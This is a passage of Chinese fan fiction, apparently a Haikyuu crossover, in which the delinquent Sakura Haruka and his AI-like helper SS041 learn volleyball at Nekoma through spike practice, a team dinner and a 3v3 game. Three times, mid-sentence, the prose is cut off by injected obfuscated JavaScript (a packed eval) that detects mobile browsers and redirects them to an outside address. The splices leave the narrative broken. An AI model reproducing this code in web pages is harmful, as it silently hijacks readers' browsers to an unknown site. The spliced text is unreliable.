在场众人全都被这个数据惊呆了，灰羽列夫痛斥了一番刚刚在心里可怜樱遥的自己，震惊大叫：“你这家伙是吃什么长大的啊，怎么可以比我还高！” 夜久卫辅：“他刚才是不是飞起来了？” 黑尾铁朗：“奶牛猫会飞不是很合理吗？” 孤爪研磨：“好热血少年漫的场景……” 在音驹众人不敢置信的议论声中，樱遥很臭屁地哼了声，并没有在意他们的反应，而是紧紧盯着山本猛虎，异色的瞳孔里充满了要打败他的野心。 山本猛虎：“……” 汗，滴了下来。 黑尾前辈，你这是给我树了个怎样的敌人啊！！ 4. 第 4 章（修） 为了帮助樱遥顺利打败目标，SS041自告奋勇为他提供山本猛虎的情报。 【山本猛虎在音驹队内的位置是主攻，在队伍中的定位是“王牌”。在排球术语里，“王牌”一般是站在4号位的主攻手，主要任务就是毫不留情地撕开对手的防线。在过去的比赛里，山本猛虎的比赛表现非常迅猛，无愧于“猛虎”这个名字，属于猫咪之中当之无愧的王牌。】 “王牌啊，听起来就很帅气呢。”樱遥看着手中的排球，低声喃喃。 一想到自己之后要打败这个人，他就感觉自己的血液也跟着沸腾起来，嘴角也忍不住微微扬起。 其实在樱遥的摸高环节结束后，他特意去关注了一下山本猛虎的表情。 他好像有点震惊，所以自己的摸高，在他眼里应该是够格的吧？ 樱遥已经有点期待自己入部之后的生活了。 他希望着自己能够迅速进步，然而摸高测试结束后，音驹领队直井学给他布置的任务却都非常基础。 他说因为樱遥和灰羽列夫都属于在高中之前完全没有碰过排球的真正意义上的零基础部员，所以他们当前的任务是体能训练、原地垫球和对墙垫球这类机械性活动，等他们和排球熟起来之后，才能开启下一步的任务。 樱遥每天都被迫做着这些枯燥的训练。其中他最喜欢的项目应该是体能训练，因为五公里的指标对他来说轻轻松松，甚至只是散步的程度。 在训练期间，樱遥还能顺便欣赏一下途中的风景。 他发现学校旁边那座山上的樱花已经差不多开放了，远远望过去粉粉嫩嫩一大片，看起来像圈在半山腰的云。 他还发现音驹校门口的那棵树上经常蹲着一只橘色的大肥猫，动一下肥肉就颤巍巍的，路过的新生们总会担心它下不来，齐心协力把它救下来后，就会拿着肉包和火腿肠安慰它。 像是看电影一样将学校周围的生活画卷都映入眼帘，等樱遥回过神时，他已经套了其他人整整一圈了。 黑尾铁朗等人睁大眼睛看着他清清爽爽地路过，气喘吁吁地说：“你、你这家伙，其实是怪物吧？怎么连体能都那么好？” 樱遥的回应是一个潇洒的背影。 但是也只有体能训练这么顺利了。 樱遥觉得自己垫球的时候，排球总是不听他的话。 如果手臂动作太软了，排球就会软趴趴的飞不起来。如果手臂绷得太硬了，排球就会飞得老高，还总是往他意想不到的方向跑。 明明看别人垫球就觉得游刃有余，为什么轮到他就这么困难呢？ 才练了几天，樱遥的手臂就变得青一块紫一块的，还冒出了很多小血点，黑尾铁朗调侃说这是奶牛猫进化出的大花臂。 注意到樱遥看着自己的手，表情有些沉郁，SS041赶紧安慰他： 【这几天我查了很多跟排球有关的资料哦！刚开始打排球时皮下毛细血管破裂是正常现象，过几天就好了！等这些基础功夫练好了，你就可以开始练习扣球拦网这些东西啦。】 樱遥嘟囔着：“这点伤不算什么。” 对于在真正的混战之中长大的不良少年来说，他小学二年级打架受的伤都比这重得多。 樱遥只是感觉很焦躁。 在又一次把球垫飞后，樱遥小跑过去捡起排球，侧过脑袋悄悄观察着老生们的情况。 这时山本猛虎刚好在做扣球练习，夜久卫辅配合他，在球网对面练习接球。 樱遥看见山本猛虎像豹子一样在球网前高高跃起，挥动手臂，抽出排球。 排球“嘭”地一下砸在向对面，飞扑过来接球的夜久卫辅不小心把球接飞了，爬起来夸了句：“这球不错！” 樱遥更加焦躁了，他觉得既然自己已经和山本猛虎约定了要用排球决一胜负，怎么可以在这么基础的事情上浪费时间？ 想到这里时，樱遥恰好垫起一颗排球，这颗排球没有软趴趴掉在地上，也没有直接飞出去，而是—— 精准地击中他的下巴，将他打得脑袋后仰，还留下了一个滑稽的红印子。 樱遥痛得眼前一黑。 脑海里传来一声“呜哇樱遥你没事吧”，旁边传来的却是一道嚣张至极的笑声，樱遥捂住下巴朝着那个方向看过去，发现笑话自己的人是黑尾铁朗，笑声跟鸭子一样嘎嘎嘎的。 被这双异色的瞳孔幽幽盯着，黑尾铁朗像是终于想起来前辈的风度，假模假样地咳了一声，提醒道： “在练习的时候走神可不是好习惯哦。” 樱遥看了他几秒，直接走到他面前：“黑尾前辈，请问我什么时候可以开始练习扣球？” 站在一旁垫球垫得生无可恋的灰羽列夫一听这话，机敏地竖起耳朵，立刻丢下排球举起双手：“哦哦哦哦——黑尾前辈，我也想要扣球！” 黑尾铁朗挑了挑眉，心想这两个菜鸟连球都还没摸明白呢，竟然就异想天开想要扣球了。 不过想到这两天来他们心浮气躁的表现，黑尾铁朗又觉得让他们试试扣球的感觉也不错，心思一转，很大方地说：“行啊，就让你们试试，也不用叫研磨过来，我来帮你们托球。” 他的本意是杀杀这两个新人的锐气，毕竟摸高只是决定选手们进行空中战的上限，真要走上赛场，还需要扎实的技术功底，再可怕的天赋怪都得老老实实从头练起。 在单手抓过排球走到网前时，黑尾铁朗还好心地问：“需要再给你们示范一遍怎么扣球吗？” “不用，我已经记住了。”樱遥说。 黑尾铁朗“哦”了声，笑道：“那我可要抛球了哦，准备好了——” 一听这话，樱遥立刻后退两步，身体微微前倾，像是准备猎食的猫科动物一样紧盯前方。 在那颗黄蓝相间的球体旋转着抛出时，他立刻像追捕毛球的猫咪一样窜了出去，脑海中自动放出一部老式电影，一帧帧的画面里滚动出一道飞跃扣球的身影。 是黑尾铁朗的，也是山本猛虎的，同样是海信行的，这几天内他观察的所有人的身影重叠在一起，最终合成一道最完美的典范。 樱遥自己的动作，似乎也与之重合。 只见他轻轻松松飞跃至球场之上，柔韧有力的身体像一张拉满的弓，而排球就是蓄势待发的箭。 此时排球已经飞到他眼前了，虽然位置与事先设想的不太一样，但是这已经无关紧要了—— 反正只要，将排球击飞到对面就可以了吧！ 樱遥腰腹收紧，抡动手臂，拿出平日里揍人的力量，将排球想象成那些令人讨厌的家伙，一巴掌将它抽了出去！ “嘭——！！” 排球狠狠砸在地上，与地面接触的瞬间发生了夸张的形变，紧接着，就弹起接近两层楼的高度！ 在其他地方训练的部员们都被这么大的动静吸引了，纷纷侧头看向这个方向。 这个扣球，简直跟抡拳揍飞一个混蛋一样畅快啊。樱遥忍不住翘起唇角，热烘烘的手心让他莫名有点激动。 但他很快就发现自己高兴得有点太早了，在顺着惯性下落的时候，樱遥才注意到白色的球网已经近在眼前。 他的脚最终踩在了球场中央的白线上，脚尖绷紧，腰腹也拼命向后缩，但是刚刚助跑得太猛了，最终还是没刹住车，一头栽了进去。 像落入毛线陷阱的猫咪一样奋力挣扎。 挣扎—— 完全挣脱不出来啊可恶！ 眼看樱遥马上就要被球网缠得恼羞成怒了，旁边的灰羽列夫及时提着他的衣领子把他捞出来。 然后他就看见，樱遥下巴上的圆形球印还没消退，白皙的脸上就又多了一排排非常整齐的红色方格——正是被球网勒出来的痕迹。 灰羽列夫的敬佩之心和笑点在疯狂打架，捂住嘴憋了半天，最终竟然憋出了一句：“噗哈哈哈哈哈哈，感觉可以下井字棋了诶！” 樱遥：“……” 巨大的羞耻感让他咬紧牙关，死死瞪着哈哈大笑的灰羽列夫。 灰羽列夫突然感受到一股非常可怕的杀气，潜意识里拉响的警铃让他止住笑声，下意识往后缩了一步。 糟糕，樱遥生气的后果好像很严重。 夜久卫辅看樱遥羞耻成这样子，担心他以后不好意思再扣球了，试图给他挽尊：“奶牛猫玩毛线球不是很合理吗？” 黑尾铁朗吐槽：“不不不这根本不是同一个东西吧，夜久你不要被我传 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137972|180329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 染啊！” 这边闹哄哄的，不远处正在关注这个角落的两位教练其实也被震惊到了。 领队直井学低声喃喃：“如果我没看错的话，樱同学起跳的位置不太对吧？他居然能完成这个扣球？会不会只是运气比较好……” 猫又教练眯了眯眼：“不是运气好，这一球就是靠他本身的力量完成的。” 当了这么多年教练，猫又教练知道扣球这件事只是看起来容易，对于初学者来说其实是一道大坎。 因为要完成一个不错的扣球，首先需要良好的四肢协调力，知道什么时候该迈步、什么时候该伸手；其次需要熟知排球的高度、熟练把握助跑和起跳的距离，在最合适的位置挥动手臂，最后，才能将排球扣过球网。 而且这还是不考虑如何突破对面的防守站位的情况下的最基础的扣球。 在猫又教练看来，樱遥的起跳姿势还不错，应该是模仿其他部员的结果。 但是他忽略了自己和其他选手的差异。他的弹跳力更强，正常起跳时跃出的距离更远，因此他需要在离网更远的位置起跳，或者控制自己跳跃的力度。 因为这个失误，樱遥准备挥臂时身体已经快要撞上球网了。正常来说，在这么近的距离下手臂很难舒展开，更别说完成扣球了。但他竟然靠着身体的柔韧性，硬是用一个别扭的姿势把手抡了过去…… 目光中倒映出那个阴阳头少年捡球的身影，猫又教练微微翘起唇角：“我们音驹，真是来了个很可怕的天赋怪啊。” 在教练们交谈的时候，另一边的灰羽列夫看到樱遥完成得那么好，同样跃跃欲试想要上场扣球。 他觉得自己和樱遥应该差不了多少，不过待会他会选一个更优雅的落地姿势，反正不要像樱遥一样栽进球网里。 嗯……不过以他的身高应该不会？只有足够矮的人才会栽进球网里吧。 这样信心满满地想着，灰羽列夫开始助跑了。 然而事实证明，正常的初学者第一次扣球时，是连排球的碰不到的。 排球在球场上空划出一道抛物线，最终丝滑地落在地上，骨碌碌滚出去。灰羽列夫两手空空地落地，瞪着地上的排球，脑袋上好像飞过了一只带着省略号的乌鸦。 沉默几秒后，灰羽列夫跑到樱遥面前骚扰他：“你是怎么做到的啊樱遥？为什么我就碰不到排球？教教我嘛~我也想扣出这么厉害的球！” 樱遥撇了撇嘴：“我为什么要教你啊？我加入排球部是为了成为这个学校的老大，为什么要给自己增加竞争对手？” 灰羽列夫歪头想了想：“呃，因为我们是朋友？” 樱遥眼睛睁圆，呆愣愣地重复了一句：“……朋友？” 灰羽列夫挠了挠头：“对啊，又是同班同学，又都加了排球部，你不觉得我们很有缘吗？而且我感觉跟你做朋友肯定超有意思的！” 樱遥低下头，一时间没说话。 灰羽列夫还以为是自己太自来熟了，对方还不愿意承认自己这个朋友。 哎，又忘记了，开学前老姐才提醒过他要改改这个习惯呢。 正有些懊恼，灰羽列夫忽然听见樱遥的声音，低低的，听起来跟蚊子叫一样。 这就是高处不胜寒的感觉吗？连队友的声音都听不见。 灰羽列夫听不清樱遥说了什么，干脆蹲下来，把耳朵伸到樱遥面前，顺便看了眼他的表情。 不看还好，一看他就震惊了：“樱遥！你怎么脸红了啊？！” 樱遥确实脸红了。 不只是脸红，从颈脖到脸颊、耳根，红了一整片，白皙的皮肤像是被烤熟了一样。平日里尽显锐气的异色瞳孔也轻微地颤抖起来，像是在地面上弹动震颤的彩色玻璃珠。 他不敢去看灰羽列夫的眼睛，捏紧拳头，嘴巴像是被烫到了，连一个最简单的词汇都断断续续说不出口。 “朋、朋友什么的……” “才没有这种东西……” SS041赶紧在自己的小本本上记录： 【原来“朋友”这个词对樱遥来说是特攻！】 而围观的音驹众人：猛掐人中后仰.jpg 什么，原来是傲娇奶牛猫啊！！ 5. 第 5 章 看见在场众人的反应，灰羽列夫后知后觉：“诶？什么？樱遥是因为我想和他做朋友才感到害羞吗？” 音驹众人扶额。 同年级的芝山优生小声说：“完了……列夫怎么明知故问啊，樱遥就要像一滩冰淇淋一样融化掉啦！” 而且哪有像他这样直接说出来的啊，小心傲娇恼羞成怒变成暴娇啊！ 果不其然，一听这话，樱遥的表情就突然变冷了。 他瞪着灰羽列夫，语气变得很差：“朋友什么的，我才不需要那种东西。这些都是没必要的负担，只有孤身一人的人，才是最强大的！” 看到灰羽列夫明显愣住了，樱遥感觉自己的喉咙似乎被什么东西哽住了。 不是的…… 他明明不想这样说。 这些人好像和以前那些糟糕的家伙不一样，他们没有一言不合就讥讽自己，也没有对自己的外表发表评价，入部这几天，他们总是对着自己笑。 不是嘲笑，不是冷笑，而是纯粹的友善的笑。 好温暖……温暖到让樱遥感觉自己马上就要被灼伤了。他下意识想要逃离，尖锐的话语不受控制地脱口而出。 SS041有点难过，它能感受到樱遥说出那句话的时候其实没有生气，但是它知道这种时候自己最好不要出声。 气氛一时间有些冷凝。 音驹众人面面相觑。 福永招平小声说：“樱遥以前是不是受过什么创伤啊？” 夜久卫辅也小声回应：“小时候，我邻居家有人养了只奶牛猫。其实奶牛猫在害怕的时候也会把耳朵折成飞机耳，切换成棘背龙形态对人类哈气。” 樱遥冷下脸的时候，看起来确实很凶。如果是之前没见过他的人，说不定还会被他的表情给吓到，但是大家刚刚才见过他脸红的样子，因此并没有觉得他很很没礼貌。 毕竟是新来的奶牛猫嘛——害怕踏入新的环境，害怕建立新的关系，所以试图通过竖起后背上的毛吓退对方。 捡来的小流浪，果然还是没什么安全感啊。 黑尾铁朗叹了口气，作为队长及时站了出来，一手一个，十分豪爽地揽住灰羽列夫和樱遥的肩膀。 要做到这个动作可是很考验他的腰力的，毕竟两个人的肩膀高度差接近三十公分呢。 两人都愣住了，下意识想要挣脱，黑尾铁朗却死死揽着他们，笑眯眯地打断了关于朋友的话题，将话题拉回更早的“练习扣球”上面： “好了好了，这里这么多前辈，可轮不到你们两个菜鸟互相教学，万一不小心学歪了怎么办？” “如果你们真想学扣球也很简单啊，我和猛虎来给你们特训好了。” 突然听见自己的名字，山本猛虎反应很快，也马上拍拍胸脯，豪气万丈道：“没错，有什么需要就尽管来找前辈吧！” 一下子就被安排得明明白白，灰羽列夫一下子就忘记刚才的尴尬了，兴奋道：“真的可以吗？我可以开始练习扣球了，好耶！那些基础练习我早就做腻了啦！” 樱遥也抬起头，语气有点低：“这样真的好吗？我加入音驹的目标可是打败你。” 山本猛虎一顿，才反应经过黑尾的忽悠，自己在这位学弟的心目中还是必须要打败的对象。 不过这有什么要紧的，他学着樱遥刚才的语气说：“真正强大的人不会惧怕对手变得强大！对手越强，战斗才会越精彩啊。” 樱遥看着他的表情，心情忽然有些复杂。 是他太狭隘了吗？这里的人，真的都好奇怪。 “好啦好啦，不如就这样吧？我和阿虎一人教一个。”黑尾铁朗又说，“我教樱遥，阿虎你教列夫，最后再让他们两个比比，看看教学效果如何，怎么样？” 山本猛虎眼睛一亮：“哦——感觉很有意思啊！” 灰羽列夫动力满满：“哦哦——那我可要堂堂正正打败樱遥了！” 就连SS041也突然热血起来：【哦哦哦——原来这是挑战大boss前的训练赛吗？我一定会帮你赢的樱遥！】 不是，你们怎么全都突然热血起来了啊！不应该先指责他为什么要破坏气氛吗？ 在场所有人里只有樱遥一脸空白，似乎还没搞清楚什么情况。 怎么突然就被安排得明明白白了啊？ 黑尾铁朗笑嘻嘻地揽着他：“放心吧，跟着我准没错，作为把你拉进音驹的前辈，我多少也要负起责任。” 于是接下来的几天里，在音驹众人喜闻乐见的看戏的目光中，这两组人展开了军备竞赛。 两位临时“教官”都认为自己赚了，山本猛虎觉得列夫身高特别优越，哪怕是随便起跳都能扣到排球；而黑尾铁朗则觉得樱遥的身体素质特别牛，起点天生就比别人更高。 不过要想飞速进步的话，可不能划水啊。 樱遥第一次感受到黑尾铁朗这只笑面猫的恐怖之处，在他手下，哪怕是体力超好的樱遥都感觉浑身酸软，训练结束后就立刻软趴趴地瘫在地上休息。 黑尾铁朗走过来：“喂，不要刚训练完就立马躺下去啊！很危险的！” 但是樱遥已经不管不顾滩成一张奶牛猫饼了。 黑尾铁朗不得不拖着樱遥的手臂把他拎起来，但是才刚拖到一半，樱遥的肚子就突然叫了一声，咕噜噜的，跟打雷一样，特别大声。 樱遥捂住肚子，脸颊瞬间涨红。 黑尾铁朗吹了声口哨：“哦呀，好正宗的小番茄~” 樱遥默默侧过脸，试图用排网的柱子挡住自己的脸。 可恶，谁让他一运动就容易饿啊，以前打完架就饿，现在打完排球也饿！ 黑尾铁朗提议：“那么——特训结束，先去吃饭呗。” 他根本不给樱遥拒绝的机会，说完就冲着另一边特训的两人大声喊：“喂——那边的那两个，晚上一起来吃饭吧！” 就在附近的福永招平听见了，举起手：“诶，只有你们吗？好狡猾，我也想来。” 夜久卫辅说：“我也要，研磨也一起来吧！” 孤爪研磨低头收拾着自己的游戏机：“我是无所谓……” 于是，最后这顿晚饭竟然演变成了音驹全员团建。 总感觉这顿饭会变得很麻烦…… 樱遥忍不住小小地反抗了一下：“我想早点回去练习。” 黑尾铁朗直接拒绝了：“这怎么能行，美味的食物能让人心情愉悦，饱餐过后训练效率才会更高。” 他们一起找了一家比较宽敞的店铺，进店以后特别熟稔地向老板点餐。 一边点餐，夜久卫辅还没忘一边介绍：“樱遥你应该不是本地人吧？是高中后才搬到这里的吗？这家店很不错哦，今天试试，如果喜欢的话以后可以经常来。” 听说有新客人，站在餐台里的老板特意探头看了眼樱遥，忽然“呀”了一声：“是你啊小朋友，谢谢你前几天背我老妈过马路呀。老人家视力不太好，只记得你的头发了。她回家后念叨了好久，说遇见一个很有礼貌的学生仔呢！” 音驹众人“哇”了声。 看吧，老奶奶骑小猫过马路——这是绝世好猫啊！ 一下子面对这么多目光，樱遥有些不知所措。这件事只是他在跑步训练时顺便 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137973|180329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 做的，在他看来只是一件微不足道的小事，为什么还要特意在这么多人面前提出来。 他有些紧张地攥紧手指，眼神飘忽：“而且只是帮她过一下马路而已，用不着特别感谢吧。” “那当然要了，这对我们来说可是大忙，”老板乐呵呵地说，“怎么样，有什么想吃的吗？今天这顿我请你，如果没有什么特别的偏好的话，我推荐我家的蛋包饭哦，保准好吃！” “哦，那就一份蛋包饭吧。” 老板做饭的效率很高，没多久，一份热腾腾的蛋包饭就端到他的面前。 樱遥笨拙地抓着勺子，从中央划拉了一下蛋皮。 黑尾铁朗注意到他握勺子的手势和别人不一样。 一般人握勺子的姿势会像握笔一样，将勺子的手柄放在大拇指、食指、中指之间，其他手指自然弯曲保持稳定。但是樱遥握勺子时却用了所有手指，手腕内扣，像小宝宝一样。 在樱遥切开蛋皮的瞬间，内里包裹的米饭便顺势流淌出来。米饭看起来吸饱了酱汁，颗颗分明却又带着恰到好处的湿润感。他挖了一勺，放进嘴巴里。 然后—— 灰色和金色的瞳孔同时放大了，玻璃珠一样的眼睛里似乎有了光彩。 蛋皮软嫩得几乎要在舌尖化开，蛋香随着咀嚼慢吞吞弥漫。被蛋皮包裹住的每一粒米饭都裹上了微甜的酱汁，嚼起来带着微微的弹性，不会太硬也不会太过软烂粘腻。 蛋皮的软嫩和米饭的弹润在口中交织，蛋香与米香相互呼应，可能是因为刚刚训练结束，樱遥现在还处于饥肠辘辘的状态，每一口都让他感觉十分幸福。 一口。 又一口。 樱遥吃得脸颊鼓鼓，嘴角都沾上了深色的酱汁：“……好吃。” 老板放心了，高高兴兴地去做下一个客人的食物：“那以后常来呀！” 等大家的晚饭都端上来后，一群人一边吃饭一边聊天，樱遥从来没有和这么多人一起其乐融融地吃过饭，最开始他的背部特别紧绷，整个人跟块木板一样僵硬。 但是渐渐的，他也放松下来，不知不觉沉浸在这种奇妙的温暖的氛围之中。 因为坐得比较拥挤，他几乎被黑尾铁朗和灰羽列夫夹在中间，肩膀碰到了他们的手臂。 灰羽列夫正含着勺子，兴奋地向大家分享自己的训练进展：“我今天下午扣球成功了五次哦！整整五次哦！” 黑尾铁朗毫不留情地嘲笑他：“哪里来的‘整整’，才五次呢，你这个0国语言持有者！” 灰羽列夫十分不满：“五次对我来说已经很厉害了嘛！” 耳边吵吵闹闹的，SS041开心的声音在樱遥脑海中响起： 【看吧樱遥，就算和别人靠得这么近也不会受伤哦。】 樱遥陷入沉默。 灰羽列夫不知道又开启了什么话题，聊着聊着，忽然碰了一下樱遥的肩膀，嚷嚷道：“……不过樱遥你下次还是不要说那么伤人的话了哦，当时都吓到我了，我会有点伤心的。” 樱遥知道他说的是在排球馆里发生的那件事，低下头，过了半晌，才动了动嘴唇，小声地说：“对不起。” 灰羽列夫大大咧咧地摆摆手：“没关系，我也没有生气，我原谅你啦。” 说完，他又满怀期待地问：“所以——现在我们算是朋友了吗？” 樱遥的脸颊又红了，泛起一层暖融融的粉意，像是被窗外的夕阳偷偷吻过，连耳尖都染上了浅浅的绯色。 他的声音更小了，但是这次，灰羽列夫听得清清楚楚。 “嗯……算是吧，也许。” 6. 第 6 章 排球部的训练还是一如往常。 不过只要能明显感受到自己的进步，就不会觉得枯燥。 在黑尾铁朗的一对一指导下，樱遥进步神速，不仅不会再撞上球网，扣球成功率也上去了，而且他扣下的每一球都十分漂亮。 这么高的学习效率，简直跟专为排球而生的一样。 不……也不能说是专为排球而生的。按照樱遥的身体条件，不管他去做什么运动都会是降维打击。 不过，接下来的问题就是他在队伍中的定位了。 黑尾铁朗将樱遥的训练进度汇报给了猫又教练，希望能听听教练的意见。 猫又教练略微沉吟：“按照这孩子的反应速度和敏捷度，他其实很适合做自由人，身高也比较合适。不过这样就有点浪费他的跳跃能力了，不论他是做副攻还是做主攻，也都会很出色的。” 旁边的夜久卫辅听见了，有点高兴：“哎呀，自由人多帅啊，我支持樱遥做自由人！要是他来的话，保准能成为球场蜘蛛侠！” 黑尾铁朗咧嘴：“不可能的，按照樱遥的性格，他肯定更想做攻手。” “为什么啊，难道自由人不帅吗？这么腐朽的观念不可取啊。” “帅帅帅，当然帅，夜久你可是我们背后的守护神啊，但是樱遥还是比较适合做攻手啦。” 眼看两个三年级的老部员为新部员的选位各执一词，猫又教练笑呵呵道：“对于初学者来说，兴趣才是最大的动力源，当然是让樱遥自己选择了。” 于是，黑尾铁朗在某次特训结束后和樱遥聊起了这件事。 对此，樱遥的回答很简单：“山本前辈是主攻手吧？那我也要做主攻手。” 归功于黑尾铁朗的洗脑，“主攻手”这个位置在樱遥这里等于最厉害的老大，就连黑尾这个队长都得给老大让让路。 而且樱遥不止想做老大，他还要做老大中的老大，也就是—— 王牌。 樱遥低头看向自己发红的手掌，收紧手指，仿佛要将扣下排球那一瞬间的畅快感捏在手心：“我要打败他，成为新的王牌。” SS041举起看不见的应援棒给樱遥打call： 【哦哦哦，哪怕是已经听过一次了，再听一次还是觉得很热血呢！】 黑尾铁朗则咧开嘴：“哦哟，口气不小啊，我很看好你的勇气。不过要成为王牌可没有那么简单的哦，只靠你一个人办不到。” 在这几天的观察里，黑尾铁朗发现樱遥总是独来独往，除了教他扣球的自己，以及过分自来熟的灰羽列夫，基本就不跟其他人交往了，有些人连句话都没说过，对于一个立志成为“王牌”的人来说，这可不是什么好习惯。 可是这话樱遥不爱听，他皱起眉：“不是只要练好扣球就可以了吗？为什么说我不行？” 黑尾铁朗没有反驳新部员的天真想法，只是笑眯眯道：“这样吧，我们就来一场3v3怎么样？正好可以测试一下你和列夫的特训成果。” 樱遥当然没意见，或者说，他也早就想跟灰羽列夫比划比划了。 灰羽列夫也相当积极，于是，这场3v3练习赛就直接被提前到今晚。 在练习赛开始之前，黑尾铁朗特意问了一下这两个菜鸟：“3v3的规则你们应该清楚吧？我记得之前有跟你们介绍过。” 樱遥努力回忆：“就是没有前后排之分，后排选手到前排拦网不算犯规……呃……” 有点复杂啊，他都忘得差不多了。 SS041翻着笔记： 【简单来说就是没有规则，你想去哪就去哪，只要按顺序发球，让排球最终落在对方的场地里就可以了！】 公平起见，两位教练并没有参与这场3v3。不过考虑到两位主角都是新人，不能对他们的接球能力期望太高，所以又给两边各自配了一个擅长接球的人。 于是，最终的分组结果是—— A队：樱遥、福永招平和夜久卫辅。 B队：灰羽列夫、孤爪研磨和海信行。 孤爪研磨不太想参加这种额外的加训，小声抱怨：“为什么我也要上场啊……” 黑尾铁朗拍拍他的肩膀：“哎呀，剧情需要嘛，就麻烦研磨你啦。” 好吧，既然是小黑的请求，孤爪研磨也只能上场了。 是他啊。 樱遥看着那个布丁头。 其实在这几天里，樱遥练习扣球的时候经常能感受到一道视线。 当他敏锐地转过头时，有时候对上一双像猫咪一样冷静而又锐利的竖瞳。 对视两秒，对方又会若无其事地移开视线。于是直到现在，他们都没说过一句话。 就像现在—— 异色的瞳孔和金色的竖瞳相互对视，两双眼睛里都没有多余的情绪。 最终，孤爪研磨先侧过头，樱遥则翘起唇角。 他感觉这场比赛会很好玩。 3v3练习赛正式开始。 开局由灰羽列夫先发球，他抛出排球，来了个老老实实的站发球。 他还没系统学习过发球呢，站发球能顺利过往不出界就已经很厉害了啦！ 然而现实并不理想，看到这颗球飞起来的轨迹，A队三人组连动起来的欲望都没有，站在原地，抬起头，扭头，又低头，眼睁睁地看着排球丝滑无阻地落在界外。 灰羽列夫：“……”这球都歪到姥姥家了。 灰毛大列巴抱头尖叫：“啊啊啊对不起！” 孤爪研磨无奈叹气。 海信行拍拍灰羽列夫的肩膀：“Don’t mind。” B队开局不顺，现在轮到A队的樱遥发球了。 樱遥没有专门去学站发球，他的起点就是跳发。因为对于樱遥来说，发球和扣球差不多，只是从别人抛球给他转变成自己抛球而已。 既然能够扣球，那么跳发球想必也不在话下。 这样想着，樱遥朝前抛出排球。 在那颗黄蓝相间的小球飞出去的那一瞬间，樱遥就睁大眼睛。 糟糕……！ 好像不小心抛得有点远了。 樱遥硬着头皮开始助跑，起跳，抡动手臂准备击球。 而他的预感没错，这一球确实抛得有点远，击球的角度不对。 但是樱遥已经收不住力了，只能尽力扭动手腕，将这一球甩过球网。 “嘭——！” 随着一声重响，排球像一颗小炮弹，以摧枯拉朽的气势冲过球网。 海信行一开始还小跑了几步，准备跑去接球，但是他很快就停了下来。 因为排球直接以一条利落的直线飞出他们所在的球场，义无反顾冲向远方。 犬冈走的脖子随着排球的去向而转动：“还回来吃饭吗？” 不吃了。 排球直接撞上远处摆放着的排球筐，发出“铛”的一声巨响，整个排球筐外的铁架子都震了震。 樱遥：“……” 山本猛虎远远望着那个方向，竖了个大拇指：“哇喔，全垒打！” 黑尾铁朗嚣张地嘲笑道：“哈哈哈哈哈！你们这是开局先互送一分以示敬意吗？” 夜久卫辅安慰道：“好了好了，不要紧，下次发球就成功了。” 发球权再次轮转，这一次轮到海信行发球。 海信行是非常稳健的全能型选手，发球对他来说再简单不过了。 在他的发球飞过球网，被夜久卫辅接起来后，这场3v3才算正常进行起来。 总体来说，A队的优势是樱遥的扣球成功率比较高，而且还有夜久卫辅这个非常优秀的自由人。而B队的优势则是列夫的身高，以及他们的正选二传手孤爪研磨。 3v3不像正式比赛那样拥有诸多规则的限制，还将参与人数缩减至一半，但恰是如此，3v3对于选手的个人能力拥有更高的要求。 因为六个人完成的工作，现在只能由三个人来完成，每个人都得身兼数职，相互配合，见缝插针地从对方手里得分。 这时海信行稳稳将球接起，将排球垫向孤爪研磨的方向，孤爪研磨视线瞄向灰羽列夫， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16137974|180329||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 最终将球送到他的面前。 其实他也不确定列夫能不能扣到球，毕竟他们之间的配合一直都很糟糕。 但是这次运气还不错—— 灰羽列夫在球网前高高跃起，面对恰到好处送到自己面前的排球，抬起的右手像是一条长长的鞭子，狠狠将球抽出！ 因为身高优势，他的击球点高到有点夸张，福永招平没能拦下来，夜久卫辅正准备飞扑过去接球，余光忽然瞥见另一道人影，急忙刹住脚步—— 有个人的反应和自己一样快。 樱遥此时已经进入了一种忘我的状态。 这双异色的瞳孔里，此时只有那颗黄蓝相间的球体。 他知道自己的终极目标是将这颗排球砸向球网对面，与此同时，不能让它在己方场内落地。 樱遥没有学过鱼跃，但是他在过去打架的经历中积累了许多别人不具备的技巧，他清楚自己要怎样扑倒才在最大程度上减轻肌肉的损伤。 只见他双手一勾，成功将即将落地的排球接了起来。 排球高高弹起，樱遥想起不能连续触球的规则，又立刻开始助跑。夜久卫辅也看准时机，将球垫到网前。 两秒之内，樱遥在球网前轻盈跃起，俯视着场内的所有人！ 似乎没人能够追上他，也没人能够阻止他，樱遥勾起唇角，异色的瞳孔里倒映出旋转的排球。 他抡动手臂，将球抽向球网对面！ “嘭——！” 围观的人都忍不住赞叹：“好漂亮的扣球。” 